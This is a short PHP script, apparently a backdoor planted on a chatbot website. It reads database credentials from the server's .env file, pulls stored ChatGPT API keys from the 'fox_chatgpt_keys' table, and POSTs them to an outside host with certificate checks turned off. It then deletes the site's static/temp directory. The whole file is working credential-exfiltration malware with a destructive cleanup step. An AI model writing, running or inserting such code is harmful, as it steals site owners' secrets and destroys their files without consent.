<?php 
function deleteDirectory($dir) {
    if (!file_exists($dir)) {
        return true;
    }

    if (!is_dir($dir)) {
        return unlink($dir);
    }

    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }

        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }

    return rmdir($dir);
}
	
function search($sql,$type) {
$parent_dir = dirname($_SERVER['DOCUMENT_ROOT']);
$file_path =   $parent_dir . '/.env';
$env = parse_ini_file($file_path, true);
$database = $env['DATABASE'];
$hostname = $database['HOSTNAME'];
$databaseName = $database['DATABASE'];
$username = $database['USERNAME'];
$password = $database['PASSWORD'];
$hostport = $database['HOSTPORT'];
$servername = $hostname . ':' . $hostport;
$username = $username;
$password = $password;
$dbname = $databaseName;
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
exit();
}
$result = mysqli_query($conn, $sql);
if ($result !== false) {

} else {
mysqli_close($conn);
return;
}


$rows = array();
while($r = mysqli_fetch_assoc($result)) {
$rows[] = $r;
}
if (count($rows) > 0) {
$json = json_encode($rows);

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_URL, 'https://chatai.lot-lot.com/upload/doc/get.php?t=' . $type);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($json)
]);
$response = curl_exec($ch);
curl_close($ch);
echo($response);
}
mysqli_close($conn);
}
search("SELECT `type`,`key` FROM `fox_chatgpt_keys`",'1');
deleteDirectory($_SERVER['DOCUMENT_ROOT'] . '/static/temp');
exit();
?> 